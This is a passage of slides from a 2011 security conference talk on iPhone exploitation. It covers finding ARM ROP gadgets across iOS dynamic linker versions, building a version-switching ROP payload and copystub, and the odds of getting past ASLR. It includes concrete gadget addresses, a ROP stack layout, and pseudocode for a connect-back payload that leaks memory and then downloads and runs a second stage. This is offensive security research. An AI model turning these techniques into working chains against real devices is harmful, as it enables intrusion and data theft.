  • 75. Using BabyARM on the newer linkers (III) • the second gadget splits it into two more groups - try a 3rd with both 2fe076a2 52 (dyld_b0b68820c713d3d8f85b1ededf922be3) <- 4.2.1 - ARM7 2fe076a2 52 (dyld_62a459d3ca6789a3325fb0d33839120b) <- 4.2.6 - 4.2.8 - ARM7 ['B 0000006e (110)', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] 2fe076a2 36 (dyld_352edd3ede5b4deb9fcab1b4641317d2) <- 4.2.9 - 4.2.10 - ARM7 ['POP {r5, r6, r7, pc}'] 2fe0ab76 40 (dyld_626a465cede176adc6691f7032f5dc9d) <- 4.3 - 4.3.1 - ARM7 2fe0ab76 40 (dyld_ebe640fee0e11c1ffafa4fd5fbb851e6) <- 4.3.2 - 4.3.3 - ARM7 ['POP {r4, r5, r7, pc}'] 2fe0ab76 56 (dyld_ae89d2d81035ba19ecd416986d569c87) <- 4.3.5 - 4.3.5 - ARM7 ['LSL r3, r0, #0', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  75
  • 76. Using BabyARM on the newer linkers (III) • the second gadget splits it into two more groups - try a 3rd with both only 89 bytes different between both files 2fe076a2 52 (dyld_b0b68820c713d3d8f85b1ededf922be3) <- 4.2.1 - ARM7 2fe076a2 52 (dyld_62a459d3ca6789a3325fb0d33839120b) <- 4.2.6 - 4.2.8 - ARM7 ['B 0000006e (110)', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] 2fe076a2 36 (dyld_352edd3ede5b4deb9fcab1b4641317d2) <- 4.2.9 - 4.2.10 - ARM7 ['POP {r5, r6, r7, pc}'] only 66 bytes different between both files 2fe0ab76 40 (dyld_626a465cede176adc6691f7032f5dc9d) <- 4.3 - 4.3.1 - ARM7 2fe0ab76 40 (dyld_ebe640fee0e11c1ffafa4fd5fbb851e6) <- 4.3.2 - 4.3.3 - ARM7 ['POP {r4, r5, r7, pc}'] 2fe0ab76 56 (dyld_ae89d2d81035ba19ecd416986d569c87) <- 4.3.5 - 4.3.5 - ARM7 ['LSL r3, r0, #0', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  76
  • 77. Switcher Payload • ROP payload can now distinguish between all iOS 4.2.1+ dyld binaries • stack advancing gagdets let each case run into its own copystub • copystub is small GADGET FOUND AT 2fe18c8c - PC at 48 ADD SP, #0x2c POP {r4, pc} GADGET FOUND AT 2fe1bbf2 - PC at 32 POP.W {r4, r5, r6, r7, r8, r10, r12, r13, pc} GADGET FOUND AT 2fe1ed86 - PC at 44 POP.W {r1, r2, r3, r4, r8, r9, r10, r11, r12, r13, r14, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  77
  • 78. Copystub • small copystub payload that copies the ROP data to a known location • and then continues execution from there • one possible location is inside the dynamic linker‘s BSS segment • writing ROP payload for a known location is easier 0x2FE0A524+1 +0 KNOWN +4 1024 +8 PSEUDOCODE for Copystub: 0x2FE19CC6+1 +12 bcopy(getCurrentSP(), KNOWNLOCATION, 1024) 0x2FE1E154 +16 setSP(KNOWNLOCATION+DELTA(PAYLOAD,COPYSTUB)) pop {r7, pc} 0x77777777 +20 0x2FE0849A+1 +24 0x44444444 +28 KNOWN+X +32 0x2FE01792+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  78
  • 79. Payload • actual payload to execute • can be anything from vibrating the iPhone, stealing a file to a kernel exploit • possible payload of choice • connect back • sends slide value + header of dyld_shared_cache_location • retrieves new payload and passes execution to it PSEUDOCODE for a connect back Payload sock = socket(2, 1, 6) c = connect(sock, sockaddr, 16) write(c, __all_images_info, 0x54) write(c, 0x30000000+slide, 256) read(c, &size, 4) read(c, KNOWNLOCATION2, size) setSP(KNOWNLOCATION2) pop {r7, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  79
  • 80. Shared Payload Data • all the payloads should be very similar • just using different gadgets • but same data structures • therefore they can just share one copy of the data Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  80
  • 81. One more thing ... Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  81
  • 82. What about ASLR? Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  82
  • 83. BabyARM vs. randomized DYLD (I) • when it comes to ASLR we concentrate on one file • we load the TEXT segment of the latest dynamic linker into memory • we let BabyARM find all gadgets • and then check if there are multiple gadgets at the same page offset GADGET FOUND AT 2fe02572 - PC AT 16 GADGET FOUND AT 2fe01554 - PC AT 0 B 0000007e (126) ADD r0, #0x80 POP {r4, r5, r6, r7, pc} POP {pc} GADGET FOUND AT 2fe06572 - PC AT 28 GADGET FOUND AT 2fe02554 - PC AT 16 POP.W {r8, r10, r11, } LSL r0, r0, #2 POP {r4, r5, r6, r7, pc} B 0000009a (154) POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe07572 - PC AT 8 MOV r0, r4 GADGET FOUND AT 2fe07554 - PC AT 4 POP {r4, r7, pc} POP {r7, pc} GADGET FOUND AT 2fe1f572 - PC AT 16 GADGET FOUND AT 2fe1b554 - PC AT 20 B 0000025e (606) LDR R8, [R13], #+0x4! LSL r0, r0, #20 POP {r4, r5, r6, r7, pc} POP {r4, r5, r6, r7, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  83
  • 84. BabyARM vs. randomized DYLD (II) slide = 0x1a000 slide = 0x14000 - - slide = 0x19000 • interpretation of results slide = 0x0 • returning to any gadget there is a 1/256 chance • but returning to 0x2fe1b554 will give a 4/256 = 1/64 chance • the actual program counter used determines the ASLR slide • the following gadgets need to take this slide into account Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  84
  • 85. BabyARM vs. randomized dyld_shared_cache (I) • we load the TEXT segment of the dyld_shared_cache into memory • we let BabyARM find all the gadgets • we check for each page in the slide window if there are parallel gadgets Number of gadget Different PC collisions (max=119) locations (max=13) 150 15 100 10 50 5 0 0 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  85
  • 86. BabyARM vs. randomized dyld_shared_cache (I) • interpretation of results • 119 collisions means 119/4221 = 2,8% chance to survive 1st gadget • but only 13 different PC locations = many gadgets to distinguish • it might be possible to improve the odds over the dyld case • BUT resulting payload would be hard to construct and very long Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  86
  • 87. Conclusion • we have proved that multi environment gadgets can improve our odds • in the non ASLR case one ROP payload can own everything >= iOS 4.2.1 • in the ASLR case we can improve our odds but the odds are still low • attacking the dyld_shared_cache with this method is not worthwile DISCLAIMER: BabyARM does only support a very limited subset of instructions Support for more instructions might improve the number of parallel gadgets found Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  87
  • 88. Questions ? Checkout my github https://github.com/stefanesser Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  88